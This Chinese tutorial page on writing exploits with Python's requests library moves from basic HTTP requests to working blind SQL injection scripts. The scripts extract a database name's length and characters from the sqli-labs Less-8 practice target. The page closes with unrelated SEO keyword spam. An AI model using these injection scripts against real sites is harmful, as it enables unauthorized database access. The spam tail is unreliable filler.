千家信息网

怎么用Python编写EXP

发表于:2026-11-01 作者:千家信息网编辑
千家信息网最后更新 2026年11月01日,本篇内容介绍了"怎么用Python编写EXP"的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!一、环境1
千家信息网最后更新 2026年11月01日怎么用Python编写EXP

本篇内容介绍了"怎么用Python编写EXP"的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!

一、环境

1、python3

2、用到的模块requests

3、sqli-lab

二、requests模块应用

1、获取网页的内容

# coding=utf-8import requestsres=requests.get("http://192.168.1.129/html/1.html")print(res.content.decode("utf-8"))

2、获取头信息

3、获取提交的网址

print(res.headers)print(res.url)

运行结果:

{'Date': 'Tue, 04 Aug 2020 13:01:06 GMT', 'Server': 'Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45', 'Last-Modified': 'Sun, 31 May 2020 15:48:24 GMT', 'ETag': '"676-5a6f39bc391c0"', 'Accept-Ranges': 'bytes', 'Content-Length': '1654', 'Keep-Alive': 'timeout=5, max=100', 'Connection': 'Keep-Alive', 'Content-Type': 'text/html'}http://192.168.1.129/html/1.html

4、修改访问时UA信息

# coding=utf-8import requestsurl="http://192.168.1.129/html/1.html"header={"User-Agent":"aiyoubucuo"}res=requests.get(url,headers=header)print(res.request.headers)运行结果:{'User-Agent': 'aiyoubucuo', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'}

5、超时处理,网页超过三秒没有反应当做异常

# coding=utf-8import requestsurl="http://192.168.1.129/html/chaoshi.php"try:    res=requests.get(url,timeout=3)    print(res.request.headers)except Exception as e:    print("网页已超时!!!")

6、提交get数据

# coding=utf-8import requestsurl="http://192.168.1.129/get.php"data={"aiyou":"bucuo"}res=requests.get(url,params=data)print(res.url)

运行结果:

http://192.168.1.129/get.php?aiyou=bucuo

7、POST提交数据

# coding=utf-8import requestsurl="http://192.168.1.129/post.php"datas={"aiyou":"bucuo"}res=requests.post(url,data=datas)print(res.content.decode("utf-8"))

运行结果:

array(1) {  ["aiyou"]=>  string(5) "bucuo"}

8、上传文件

# coding=utf-8import requestsurl="http://192.168.1.129/shangchuan.php"upfile={"file":open("123.txt","rb")}datas={"submit":"submit"}res=requests.post(url,files=upfile,data=datas)print(res.content.decode("utf-8"))

运行结果:

三、获取数据库长度

#判断数据库长度,http://192.168.1.129/sqli/Less-8/?id=8' and (length(database())) = 8 --+# coding=utf-8import requestsurl="http://192.168.1.129/sqli/Less-8/"reslen=len(requests.get(url=url+"?id=1").text)print("正常情况下网页返回数据的长度"+str(reslen))dblen=0while True:    dburl=url+"?id=1'+and+(length(database()))="+str(dblen)+"--+"    print(dburl)    if len(requests.get(dburl).text)==reslen:        print("数据库名字长度为:"+str(dblen))        break    if dblen==30:        print("出现错误!")        break    dblen+=1

运行结果:

四、获取数据库名字

# coding=utf-8import stringimport requestsurl="http://192.168.1.129/sqli/Less-8/"reslen=len(requests.get(url=url+"?id=1").text)print("正常情况下网页返回数据的长度"+str(reslen))#判断数据库长度,http://192.168.1.129/sqli/Less-8/?id=2' and (length(database())) = 8 --+dblen=0while True:    dburl=url+"?id=1'+and+(length(database()))="+str(dblen)+"--+"    print(dburl)    if len(requests.get(dburl).text)==reslen:        print("数据库名字长度为:"+str(dblen))        break    if dblen==30:        print("出现错误!")        break    dblen+=1dbnmae=""#生成8个字母for i in range(1,9):    #获取字母从a-z    for a in string.ascii_lowercase:        dburl=url+"?id=1'+and+substr(database(),"+str(i)+",1)="+"'"+a+"'"+"--+"        print(dburl)        if len(requests.get(dburl).text)==reslen:            dbnmae+=a            print(dbnmae)            break

运行结果:

"怎么用Python编写EXP"的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识可以关注网站,小编将为大家输出更多高质量的实用文章!

数据 结果 长度 运行 数据库 网页 内容 名字 情况 utf-8 信息 字母 更多 模块 知识 错误 实用 学有所成 接下来 困境 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 苏州找大状互联网科技有限公司 科技互联网产品 科技与互联网 上海挚品互联网科技 善班互联网科技 百单互联网科技有限公司 兼蜜互联网科技 四个字互联网科技公司取名 科技大学互联网专业好不好 老年人脱离互联网科技的作文 农村开互联网科技讲堂 互联网大会黑科技排名 语蝶互联网科技有限公司 佛山市拉法互联网科技有限公司 四川慕妮娅互联网科技有限公司 云鲸互联网络科技有限公司 互联网领先科技活动 悟空问答互联网科技 互联网企业和网络科技有限公司 互联网科技快速发展优美句子 湖南永感互联网科技有限公司 科技金融是不是互联网金融 华中科技有哪些互联网大佬 成都互联网科技公司100强 世界互联网科技公司市值排名 链环科技传统企业怎么转型互联网 中科明德北京互联网科技 伊宁互联网科技做什么的 小米互联网科技园入驻 互联网 科技节活动 微视频大赛
0